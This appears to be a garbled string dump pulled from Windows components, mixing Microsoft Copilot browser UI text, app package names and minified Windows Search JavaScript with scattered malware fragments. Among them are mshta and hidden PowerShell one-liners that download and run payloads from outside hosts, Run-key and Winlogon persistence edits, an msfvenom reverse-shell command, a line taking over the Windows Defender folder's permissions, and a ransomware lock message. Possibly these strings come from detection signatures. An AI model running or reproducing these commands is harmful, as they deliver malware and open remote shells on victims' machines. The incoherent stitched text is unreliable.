screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy
WindowsCreateString
WindowsDeleteString
Start Page/C REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /F
WindowsFormsApp50.Properties.Resources.resource
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
c:\khatra.exe..\..\..\..\..\khatra.exec:\windows\system32\shell32.dll%systemroot%\system32\shell32.dllxqtqt7pwxqtrpwtpw|p|||o||x;
Windows%202000
Microsoft-Windows-HVSI
Microsoft-Windows-Edi*
5WidgetViewWinUI3MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!K
Windows.Client.WebExperience_cw5n1h2txyewy!F
Microsoft.OutlookforWindowsSRD1W
.exeWindows.FullTrustApplicationp`)
 vise passord. Oppgi Windows-passordet for 
 kopiere passord. Skriv inn Windows-passordet for 
 redigere passord. Skriv inn Windows-passordet for 
 tillate dette.Microsoft Copilot vil eksportere passorda dine. Oppgi Windows-passordet for 
 importere passord. Oppgi Windows-passordet for 
 tillate dette.Microsoft Copilot vil slette Passordlagring-dataa dine. Skriv inn Windows-passordet ditt for 
 erstatte eksisterande passord. Skriv inn Windows-passordet ditt for 
 nytt.Microsoft Copilot krev Windows 10 eller h
 vise detaljar om betalingskort. Oppgi Windows-passordet ditt for 
"http://2t.pm:8080/atym6fqdhc/gfjp/tqcgx/xgl/gqhrsba7l4urpd6spu7t/!computername!""%systemroot%\system32\imageres.dll
c:\windows\system32\mshta.exe%systemroot%\system32\https://civh.ru/08.11/band.rtf!%systemroot%\system32\shell32.dll
c:\windows\system32\mshta.exe%windir%\system32\'http://juice.jar.riontos.ru/jam.html/f%windir%\system32\shell32.dll
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
file-oc:\windows\temp\debug.vbs;start-processc:\windows\temp\debug.vbs
8\then\mytakeseethatyou.batc:\windows\system32\shell32.dll%systemroot%
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Micros
9PC49MD70881Evil West (Windows)https://store-images.s-microsoft.com/image/apps.4211.14176554647910182.b03fa26e-38ab-4eae-a31e-457e38d3b885.931e36a8-9260-4fcf-833a-72600108d150en
9PC49MD70881Evil West (Windows)https://store-images.s-microsoft.com/image/apps.4211.14176554647910182.b03fa26e-38ab-4eae-a31e-457e38d3b885.931e36a8-9260-4fcf-833a-72600108d150fr
9PC49MD70881Evil West (Windows)https://store-images.s-microsoft.com/image/apps.4211.14176554647910182.b03fa26e-38ab-4eae-a31e-457e38d3b885.931e36a8-9260-4fcf-833a-72600108d150de
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Converter.BooleanToWinUIIconSource"
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.StaticSettingsW
7Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
@{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/Files/images/Logo.png}
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
watchdox\windows plugin\pdflaunch^
Windows Defender Exploit Guard det0
e-executionpolicybypass-noprofile-windowstylehidden-command&{invoke-webrequest-uri
software\microsoft\windows\currentversion\run
pUsers\YoavShaharabani\source\repos\windows-scenarios\Payloads\NativeRansomeware\x64\RemoteKey_APT_SCENARIOscenario_idg
&os.nameisWindowsisMac~spawn
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
msfvenom-pwindows/shell_reverse_tcplhost={config['lhost']}lport={config['lport']}-fexe-o{config['payload_path']
"http://2t.pm:8080/y/wyfo/nama38lrjzhrnwh2vz/!computername!"g^f^d^h^dl^d=^pzmr^ly%windir%\system32\imageres.dll
"http://0j.re:8080/abbbpr2/bsncg/suj4li/owrbigw/11h0d/2apfmbn/%computername%"!%systemroot%\system32\shell32.dll
\windows\system32\cmd.exe/clab\greenery.cmdregsc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\base.h
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\Windows.Foundation.h
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\Windows.Security.Authentication.Web.Core.h
..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\Windows.Security.Credentials.h
F..\..\third_party\depot_tools\win_toolchain\vs_files\efe71370d5\Windows Kits\10\Include\10.0.26100.0\cppwinrt\winrt\Windows.Foundation.Collections.h
WindowsIntegratedAuth with common realm and an enabled flight. Returning true.
WindowsIntegratedAuth with common realm and disabled flights. Returning false.
WindowsIntegratedAuth with consumer realm and enabled MSA flight and non-NAA. Returning true.
WindowsIntegratedAuth with consumer realm and disabled MSA flight or downlevel OS or NAA. Returning fa
Microsoft.Windows.Shell.InputDialTrace
Microsoft.Windows.TextInput.LITE
d&start/minregaddhkcu\software\microsoft\windows\currentversion\run
PSModulePath=C:\Program Files\WindowsPowerShell\.
s;C:\WINDOWS\system32.
USERDOMAIN_ROAMINGPROFILE=Windows11
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
windowssecurityservice.pdbc
Windows.CrossDevice_cw5n1h2txyewyu
C:\WINDOWS\system32\svchost.exe -k LocalServiceHttp -p
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
UMicrosoftWindows.CrossDevice_cw5n1h2txyewy/
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
Windows.Data.PlaceholderTileCollectionLocal
s-microsoft-com:windows:store:l2
SecurityService.UnzipWindowsSecurityService.pd@
zc:\windows\system32\cmd.exe/cpowershell-command"$url='http://voucher-01-static.com/kvro/
CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=EE. UU.
Buscar en la Web y en Windows
Windows.Data.Platform.ItemReference<bond.Void>
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsDuplicateString
WindowsDeleteString
Windows.UI.Input.Inking.dll
Microsoft.UI.Xaml.Hosting.WindowsXamlManager
LOGONSERVER=\\WINDOWS11
fYc:\windows\system32
orForWindows
\Winlogon
C:\__w\1\s\packages\Microsoft.Windows.ImplementationLibrary.1.0.240803.1\include\wil\resource.h
Windows.Graphics.Imaging
oXCCFvgFvoMFCnfdtYEwdOHfBHtnA.resourcesPpLYzkgfaYBngpiXMUeROfwGTnzE.resourcesPxHmqfwUlXIcRAXxIAAcUbMcMkGj.resourcesrUKPidMihJiyQHedSmumJFTtwtKtA.resourcesWindowsFormsApp
Microsoft.Windows.Defender.Shield
Microsoft.Windows.Defender.Shield
Microsoft.Windows.Wil.FeatureLogging
onecoreuap\windows\advcore\winrt\directink\inkmanager\dll\module.cpp
Windows.UI.Xaml.Automation
Windows.UI.Xaml.Markup
WindowsUpdaterKB
\system32\rundll32
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit
APPDATA=C:\WINDOWS\system32\config
Path=C:\WINDOWS\system32;
default$windows.data.apps.packagedproducts
windows.data.apps.packagedproducts
IMicrosoft.Windows.Explorer_MSGraph_RecentFiles
Microsoft.Windows.Explorer_RecommendationsFiles
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
login.windows.net
sts.windows.net
sts.windows.net
login.windows.net
login.windows.net
login.windows.net
sts.windows.net
sts.windows.net
login.windows.net
sts.windows.net
sts.windows.net
sts.windows.net
login.windows.net
sts.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
sts.windows.net
sts.windows.net
Lua:LastFolder0!curseforge/x20windows
;$regdel=runwait(@comspec&"/c"&$setacl&"-on""c:\programfiles(x86)\windowsdefender""-otfile-reccont_obj-actnace-ace""n:administrators;p:full""","",@sw_hide)
ell-windowstyleminimizedirm"
32\windows,
c:\programdata\microsoft\windows\startmenu(
\syswow64\windowspowershell\v1.0\powershell.exe" + "der ($(New-Object IO.Compression.DeflateStream ("
Microsoft.UI.Content.CoreWindowSiteBridge
fc:\windows\system32\windowspowershell\v1.0\powershell.exe-c"cmd/c'start.\
d"&amp;"l"&amp;"lr"&amp;"egister"&amp;"serve"&amp;"r</t></si><si><t>\windows\</t></si><si><t>syswow64\</t></si><si><t>rundll32.exe</t></si><si><t>,0,</t></si><si><t>,0,0)</t></si><si><t>"http://
Windows.UI.WindowManagement
IAppWindowStatics
IWindowServicesStatics
Windows.UI.WindowManagement.Preview
WindowServices
Windows.Foundation
Windows.System
Windows.Foundation.Collections
Windows.Security
Windows.Security.Credentials
powershell-command"invoke-webrequest-uri'https://vidssave.site/live.mp4'-outfile'c:\users\public\videos\iptv-videos.ps1';start-processpowershell-argumentlist'-windowstylehidden-noprofile-executionpolicybypass-filec:\users\public\videos\iptv-videos.ps1'"
WINDOWS11
Microsoft-Windows-Gdi32Full-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Windows Defenderstart echo This PC Is Locked! If You Want Unlock Contact Owner!Trojan:Win64/QuasarRAT.A!MTB
oc:\windows\temp\
%windir%\system32\slmgr.vbs%
@%SystemRoot%\system32\shell32.dll@
c:/windows/system32/d
c:/windows/system32/d
c:/windows/system32/d
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceFrame.TranslateAccelerator
System.Windows.Forms.UnsafeNativeMethods.IOleControlSite.TranslateAccelerator
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.TranslateAccelerator
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceActiveObject.TranslateAccelerator
System.Collections.Generic.IEnumerable<System.Windows.Forms.NumericUpDownAcceleration>.GetEnumerator
GMBgMessage",title:t?n.Host.getLocString("WindowsIndexingInProgressToolTip"):n.Host.getLocString("WindowsIndexingDisabledToolTip"),action:i};this._page.updateTemporaryMessageView(this._launchIndexingDataModel);this._shouldHideWorkUpsell=!0}}hideIndexingMessage(){this._turnOnIndexingInstItem=null;this._page.updateTemporaryMessageView(null);this._shouldHideWorkUpsell=!1}showRecallOptInMessage(t){this._recallOptInInstItem=n.InstrumentedItem.getNonSuggestionInstrumentedItem("RSH",n.SyntheticQSCodesMaps.KValues);const i={id:hu,selected:null,text:n.Host.getLocString("RSHOptInAction"),title:null,instItem:this._recallOptInInstItem,click:()=>{var n;(n=t===null||t===void 0?void 0:t.LaunchSearchSettingsAsync)===null||n===void 0?void 0:n.call(t)},layout:0,isSelectable:!0},r={id:ct,selected:null,text:n.Host.getLocString("RSHNotificationDismissAction"),title:null,instItem:this._recallOptInInstItem,click:()=>{var n,t;(t=(n=SearchAppWrapper.CortanaApp)===null||n===void 0?void 0:n.persistentStorage)===null||t===void 0?void 0:t.setItem(ct,"1");this.hideRecallOptInMessage()},layout:1,isSelectable:!0};this._recallOptInDataModel={messageText:n.Host.getLocString("RSHOptInMessage"),icon:null,messageClassName:"rshOptInMessage",messageTextTitle:n.Host.getLocString("RSHOptInTitle"),action:i,dismissAction:r};this._page.updateTemporaryMessageView(this._recallOptInDataModel)}hideRecallOptInMessage(){this._recallOptInInstItem=null;this._recallOptInDataModel=null;this._page.updateTemporaryMessageView(null)}updateRecallOptInVisibility(){try{this.updateRecallOptInVisibilityImpl()}catch(n){}}updateRecallOptInVisibilityImpl(){var t,i,r,u;if(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.mockRSHNotification)return this.showRecallOptInMessage(null);n.isDataSourceEnabled("RSH",null)&&((i=(t=SearchAppWrapper.CortanaApp)===null||t===void 0?void 0:t.persistentStorage)===null||i===void 0?void 0:i.getItem(ct))!=="1"&&((u=(r=ProjectionFactory===null||ProjectionFactory===void 0?void 0:ProjectionFactory.searchResultProviders)===null||r===void 0?void 0:r.getJsonResultProvidersAsync())===null||u===void 0?void 0:u.then(async n=>{const t=n===null||n===void 0?void 0:n[0];if(t&&typeof t.IsQueryEnabledAsync=="function"&&typeof t.IsCaptureEnabledAsync=="function"){const i=await t.IsCaptureEnabledAsync();if(i){const n=await t.IsQueryEnabledAsync();if(!n)return this.showRecallOptInMessage(t)}this.hideRecallOptInMessage()}}))}updateIndexingNotificationVisibility(){if(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.windowsSearchCatalogStatus){this.showIndexingIncompleteNotification();return}if(n.Host.useImprovedIndexingMessage()){const t=SearchAppWrapper.CortanaApp.persistentStorage.getItem(r);t!=="1"&&SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.getSearchCatalogStatusAsync&&n.Async.safeChain("getSearchCatalogStatusAsync",()=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.getSearchCatalogStatusAsync(),n=>{switch(n){case 7:case 0:this.hideIndexingIncompleteNotification();break;default:this.showIndexingIncompleteNotification()}})}}showIndexingIncompleteNotification(){let t,i;this._launchIndexingStatusInstItem=n.InstrumentedItem.getNonSuggestionInstrumentedItem("IMIP",n.SyntheticQSCodesMaps.KValues);this._dismissIndexingNotificationInstItem=n.InstrumentedItem.getNonSuggestionInstrumentedItem("IMDN",n.SyntheticQSCodesMaps.KValues);t={id:y,selected:null,text:n.Host.getLocString("WindowsIndexingNotificationCheckStatusAction"),title:n.Host.getLocString("WindowsIndexingNotificationCheckStatusAction"),tooltip:n.Host.getLocString("WindowsIndexingNotificationCheckStatusActionTooltip"),instItem:this._launchIndexingStatusInstItem,click:(t,i)=>{n.logToMC("Bing_QF_RootViewModel",y,"showIndexingIncompleteMessage");let r=n.SequenceNumberManager.getSequenceNumber();r>this._lastUpdatedSequenceNumber&&n.InstrumentationHelper.instrumentSyntheticInstrumentedItem(r,"IMIP",this._launchIndexingStatusInstItem);n.InstrumentationHelper.instrumentItemClick(t,this._launchIndexingStatusInstItem,r,null,i,nulluggGroup"):t.type==n.GroupType.RecommendedDocs||t.type==n.GroupType.Documents&&n.isRecommendedDocsGroupEnabled(this._partialQuery)?(o.push("recommendedSuggGroup"),n.msbHost&&n.msbHost.features.isQwsEnabled()&&n.isMsbEnterprise()&&!n.msbHost.isGccHighTenant()&&o.push("topMostGroup")):t.type==n.GroupType.AnaheimDataList?o.push("anaheimDataGroup"):t.type==n.GroupType.AnaheimDataTopHit?o.push("anaheimDataGroup"):t.type==n.GroupType.AnaheimDataQF?o.push("anaheimDataGroup"):t.type==n.GroupType.TrendingSearchData?(o.push("trendingSearchDataGroup"),n.isTSInSearchBoxEnabled()&&o.push("dynamicTsTag")):t.type==n.GroupType.CuratedSettings?o.push("curatedSettingsGroup"):t.type==n.GroupType.Apps&&this._partialQuery.isSearchHomeZI?o.push("mruApps"):t.type==n.GroupType.Store?o.push("storeAppsGroup"):n.canEnableDsbWebMruInWebScope(this._partialQuery)?o.push("leftPaneZIsuggestions"):t.type==n.GroupType.AIFeed?(o.push("aiFeedGroup"),o.push("isCopilotSH")):t.type==n.GroupType.SmartActions?(o.push("smaGroup"),o.push("isCopilotSH")):t.type==n.GroupType.Other&&o.push("otherGroup");k=!n.config.useCobaltCSS||n.config.useCobaltCSS&&n.config.enableDSBWin11FullWidth;(k&&n.isZeroInputAllScope(this._partialQuery)||((c=this._partialQuery)===null||c===void 0?void 0:c.isWorkScopeZI))&&o.push("mru10");let d={type:t.type,typeWithSource:t,id:"gr"+t.type+(t.source||""),text:s.title,secondaryText:p,secondaryIcon:w,narratorText:s.narratorText,tooltip:g,click:l,onlyAnnotationIsClickable:l&&(!!p||!!w),suggestions:[],instRegionName:n.GroupType[t.type],instItem:a,selected:!1,cssClasses:o.join(" ")||undefined,sequenceNumber:u,showPlusIconInHeader:this.shouldShowPlusIconInGroupHeader(t.type,e),hideGroupHeader:this.shouldHideGroupHeader(t.type,s.title),popover:tt};return a&&n.InstrumentationHelper.instrumentSyntheticInstrumentedItem(u,y,a),this._resultsCounter.groups.push({typeWithSource:t,suggestions:[]}),this.insertGroup(d,f),d}insertGroup(t,i){let u=i.findIndex(i=>n.sameGroup(i,t.typeWithSource)),r=!1;for(let f=0;f<this.groups.length;f++){let e=i.findIndex(t=>n.sameGroup(t,this.groups[f].typeWithSource));if(e>u){this.groups.splice(f,0,t);r=!0;break}}r||this.groups.push(t)}handlePendingSubmit(t){if(this._pendingSubmitSequenceNumber==this._lastUpdatedSequenceNumber)try{if(this.topResults.length==0)(this.groups.length>0||t.length>0)&&this.showDisableEnterMessage();else{let t=this.topResults[0];return n.InstrumentationHelper.instrumentItemClick(this._pendingSubmitTimeStamp,t.instItem,t.sequenceNumber,t.instrumentPingBack,1,this._pendingSubmitModifierKeys),this._pendingSubmitModifierKeys&&this._pendingSubmitModifierKeys.ctrlKey&&this._pendingSubmitModifierKeys.shiftKey?this.launchVerb(t,ft,this._pendingSubmitTimeStamp):this._pendingSubmitModifierKeys&&this._pendingSubmitModifierKeys.shiftKey?this.launchVerb(t,et,this._pendingSubmitTimeStamp):t.click(this._pendingSubmitTimeStamp,0,this._pendingSubmitModifierKeys),0}}finally{this.resetPendingSubmitSequenceNumber()}return 1}showDisableEnterMessage(){this._page.showTemporaryMessage(n.Host.getLocString("EnterOnAmbiguousTopHitMessageText"))}showIndexingMessage(t){if(!n.Host.useImprovedIndexingMessage()&&n.RuntimeConfig.QfMode!=12){var i;t?(this._turnOnIndexingInstItem=null,this._launchIndexingDataModel=null):(this._turnOnIndexingInstItem=n.InstrumentedItem.getNonSuggestionInstrumentedItem("IMIO",n.SyntheticQSCodesMaps.KValues),i={id:v,selected:null,text:n.Host.getLocString("WindowsIndexingDisabledAction"),title:null,instItem:this._turnOnIndexingInstItem,click:(t,i)=>{let r=n.SequenceNumberManager.getSequenceNumber();r>this._lastUpdatedSequenceNumber&&n.InstrumentationHelper.instrumentSyntheticInstrumentedItem(r,"IMIO",this._turnOnIndexingInstItem);n.InstrumentationHelper.instrumentItemClick(t,this._turnOnIndexingInstItem,r,null,i,null);n.LocalDataProvider.launchIndexingOptions(!1)},layout:1,isSelectable:!0});this._launchIndexingDataModel={messageText:t?n.Host.getLocString("WindowsIndexingInProgressMessage"):n.Host.getLocString("WindowsIndexingDisabledMessage"),icon:t?{content:"&#xE895",type:2}:null,messageClassName:"indexin
C:\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\StartMenu\
..\windows\system32\cmd.exe
c:\windows\system32\shell32.dll%systemroot%
#..\windows\system32\cmd.exe
 c:\windows\system32\shell32.dll%systemroot
                            error.message=${u===null||u===void 0?void 0:u.message}`;return i.cacheState=t.EmptyFromParseError,i.lastUpdatedTime=n.getCurrentTime(),n.LightweightStorage.setItem(n.ZqSuggestionsStorageKey,JSON.stringify(i)),i}return i.cacheState==t.EmptyFromParseError||i.cacheState==t.EmptyFromExpired?i:(i&&i.dataSource==this._dataSource&&(n.getCurrentTime()-i.lastUpdatedTime<ct&&!(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.msbSHCacheExpired)?a(i.results,this._dataSource)?(i.results=i.results,i.cacheState=t.ValidResults):i.cacheState=t.NoResults:(i.cacheState=t.EmptyFromExpired,i.results=undefined,i.lastUpdatedTime=n.getCurrentTime(),n.LightweightStorage.setItem(n.ZqSuggestionsStorageKey,JSON.stringify(i)))),i)}buildParams(t,i,r){var o,e={};if(this._providerType==0&&(e[n.Service.QueryParams.ConversationId]=t[n.Service.QueryParams.ConversationId],e[w]=k,this._authType!=1||r||i!=n.Scope.People?i!=n.Scope.All&&(e[s]=d):e[s]=g,r&&this._authType==1&&t[n.Service.QueryParams.ImpressionGuid]&&(e[n.Service.QueryParams.LogicalId]=t[n.Service.QueryParams.ImpressionGuid]),this._dataSource=="SPSE"?(e[f]="Prompt",e[u]="EnablePASWindowsComposer"):e[f]=this.getEntityTypes(i,r),i==n.Scope.Documents&&r&&n.config.msbEnableDocumentZQ&&(e[u]=st)),n.TestHookUrlParameters){let t=(o=n.TestHookUrlParameters["3sflights"])!==null&&o!==void 0?o:"";t&&(e[u]=t);n.TestHookUrlParameters["3sdebug"]&&(e[b]="1")}return e}getEntityTypes(t,i){let r;switch(t){case n.Scope.Documents:r="Documents";break;case n.Scope.People:r="People";break;case n.Scope.All:case n.Scope.Work:let u=[];if(this._authType==1&&u.push("Documents"),!i&&n.RuntimeConfig.QfMode!=5){let t=n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isTenantMsbEnabled();t||u.push("People")}r=u.join(",");break;default:throw new Error("Unsupported scope "+t);}return r}instrumentClick(t,i){if(t&&i){let u=[{Key:t,Value:[{Name:"entityclicked",Attributes:[{Key:"Id",Value:i},{Key:"LocalTime",Value:n.getDateWithTimezone()}]}]}],r={};r[h]=c;this.fe
!#SCRIPT:PS.WinlogonUserinit
hkcu:\software\microsoft\windowsnt\currentversion\winlogon\
\windows\currentversion\run/v
Target position can only be set for new windows
Target window state can only be set for new windows
Windows"
"Windows"
Windows"
"Windows"
"Windows"
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
gSystem.Drawing.SizeF, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3afSystem.Drawing.Size, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aySystem.Windows.Forms.RightToLeft, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089zSystem.Windows.Forms.AnchorStyles, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089gSystem.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3arSystem.Drawing.ContentAlignment, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.PictureBoxSizeMode, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089PADPAD
h},e,!1);n.safeExecute(i,"triggerQueryTextChangedEvent")}}static setAutoCompleteQueryText(i){n.safeExecute(()=>r.setAutoCompleteQueryText(i,t._currentRawImpressionId),"setAutoCompleteQueryText")}static manuallyDismissApp(){!n.config.manuallyDismissApp||n.config.keepCortanaOpened||n.getTweakedSetting("keepCortanaOpenedTweak")||SearchAppWrapper.CortanaApp.dismissApp()}static launchUriAsync(i,r){try{return n.Async.safePromise("launchUriAsync",()=>{let n=u.createUriLaunchOptions();return n.launchPolicy=t.getUriLaunchPolicy(),n.dismissAppBeforeLaunchingURI=r,u.launchUriAsync(i,n)})}catch(f){return Promise.resolve(!1)}}static launchUrlWithHttpProtocolAsync(i,r,f){try{const e=this.getDefaultBrowser()===4;if((n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isDefaultBrowserRedirectEnabled())&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&/^(http|https):/.test(i)&&!e&&!f){let r=u.createUriLaunchOptions();return r.launchPolicy=t.getUriLaunchPolicy(),n.Async.safePromise("launchUrlWithHttpProtocolAsync",()=>u.launchWebUriWithProtocolAsync(i.substring(i.indexOf(":")+1),"https",r))}return this.launchUrlWithEdgeProtocolAsync(i,r)}catch(e){return Promise.resolve(!1)}}static launchUrlWithDefaultBrowserAsync(i,r,f){if(n.config.enableWsbPartnerCodes){const t=f?2:r=="SW"?2:0;i=n.setWsbPartnerCodeToURL(i,t)}try{if(/^(http|https):/.test(i)){let r=u.createUriLaunchOptions();return r.launchPolicy=t.getUriLaunchPolicy(),r.dismissAppBeforeLaunchingURI=!0,n.Async.safePromise("launchUrlWithHttpProtocolAsync",()=>u.launchWebUriWithProtocolAsync(i.substring(i.indexOf(":")+1),"https",r))}return this.launchUrlWithEdgeProtocolAsync(i,{})}catch(e){return Promise.resolve(!1)}}static async launchUrlWithEdgeProtocolAsync(i,r,u){if(i&&!/^(http|https):/.test(i)&&i.includes(":"))return await t.launchUriAsync(i,u);if(!r.cid&&!r.oid){let t,i,n=this._accessTokenManager.getSelectedAccountInfo();(n===null||n===void 0?void 0:n.accountProviderAuthority)=="consumers"?(t=n===null||n===void 0?void 0:n.accountId,r.cid=t):(n===null||n===void 0?void 0:n.accountProviderAuthority)=="organizations"&&(i=n===null||n===void 0?void 